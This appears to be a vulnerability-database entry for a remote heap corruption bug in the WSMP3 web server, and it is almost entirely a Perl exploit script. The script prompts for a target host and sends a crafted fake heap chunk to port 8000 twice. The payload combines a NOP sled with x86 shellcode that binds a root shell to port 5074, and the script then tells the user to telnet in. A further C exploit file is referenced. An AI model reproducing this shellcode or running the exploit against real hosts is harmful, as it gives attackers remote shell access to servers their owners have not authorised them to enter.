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WSMP3 Remote Heap Corruption Vulnerability

The following exploit was provided by Damian Myerscough:
#!/usr/bin/perl -w
#
#
# Remote Heap malloc/free & multiple Overflow vulnerability in WSMP3.
# Bug found by; dong-h0un U
# Exploit Coded By; Damian Myerscough
#
# visit: www.securityfreaks.com
# visit: http://x82.i21c.net
#
# 0x02. Vulnerable Packages
# =-=-=-=-=-=-=-=-=-=-=-=-=
#
# Vendor site: http://wsmp3.sourceforge.net/
#
# web_server-0.0.6
# -web_server-0.0.6.tar.gz
# +RedHat Linux 6.x
# web_server-0.0.5 (exploitable)
# -web_server-0.0.5.tar.gz
# web_server-0.0.4
# -web_server-0.0.4.tar.gz
# web_server-0.0.3
# -web_server-0.0.3.tar.gz.gz
# wsmp3-0.0.2
# -web_server-0.0.2.tar.gz
# web_server-v.0.0.1
# -web_server.tar.gz
#
# Tested On Redhat 6.1 (cartman)
#
#

use IO::Socket;

$Shellcode = "\x41\x41\x41\x41". # offset
"\x41\x41\x41\x41". # offset
"\x41\x41\x41\x41". # offset
"\x41\x41\x41\x41". # offset 16 bytes
"\xfc\xff\xff\xff". # chunk header
"\xff\xff\xff\xff". # ""
"\xa0\x1b\x05\x08". # 0x08051bac-12
"\xd0\x7b\xff\xbf". # 0xbfff7bd0
"\x20". # ' '
"\x90\x90\x90\x90\x90\x90\x90\x90". # nop
"\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c". # nop 12 bytes jumpcode
"\x90\x90\x90\x90\x90\x90\x90\x90". # nop
"\x90\x90\x90\x90\x90\x90\x90\x90". # nop
#Shellcode Binds a port on 5074 This shellcode is 92 bytes
"\x31\xc0".
"\x50".
"\x40".
"\x89\xc3".
"\x50".
"\x40".
"\x50".
"\x89\xe1".
"\xb0\x66".
"\xcd\x80".
"\x31\xd2".
"\x52".
"\x66\x68\x13\xd2".
"\x43".
"\x66\x53".
"\x89\xe1".
"\x6a\x10".
"\x51".
"\x50".
"\x89\xe1".
"\xb0\x66".
"\xcd\x80".
"\x40".
"\x89\x44\x24\x04".
"\x43".
"\x43".
"\xb0\x66".
"\xcd\x80".
"\x83\xc4\x0c".
"\x52".
"\x52".
"\x43".
"\xb0\x66".
"\xcd\x80".
"\x93".
"\x89\xd1".
"\xb0\x3f".
"\xcd\x80".
"\x41".
"\x80\xf9\x03".
"\x75\xf6".
"\x52".
"\x68\x6e\x2f\x73\x68".
"\x68\x2f\x2f\x62\x69".
"\x89\xe3".
"\x52".
"\x53".
"\x89\xe1".
"\xb0\x0b".
"\xcd\x80";

print"+==========================================+\n";
print" Remote Heap malloc/free WSMP3 \n";
print" Coded By; Damian Myerscough \n";
print" Bug found By; dong-h0un U \n";
print" Offset done By; dong-h0un U \n";
print"+==========================================+\n\n";

print"Enter a Host: ";
$Host = <STDIN>;
chop($Host);

# First connect.
$Socket = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$Host,
PeerPort =>8000) || die "Could not connect
to $Host \n";

print"Sending Fake Chunk.\n";
print $Socket "$Shellcode";
close($Socket);

# Second connect.
$Socket = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$Host,
PeerPort =>8000) || die "Could not connect
to $Host \n";
print"Sending Shellcode.\n";
print $Socket "$Shellcode";
close($Socket);

print"Binded port.\n";
print"Telnet to $Host at port 5074\n";


The following exploit was provided:

• /data/vulnerabilities/exploits/wsmp3xpl.c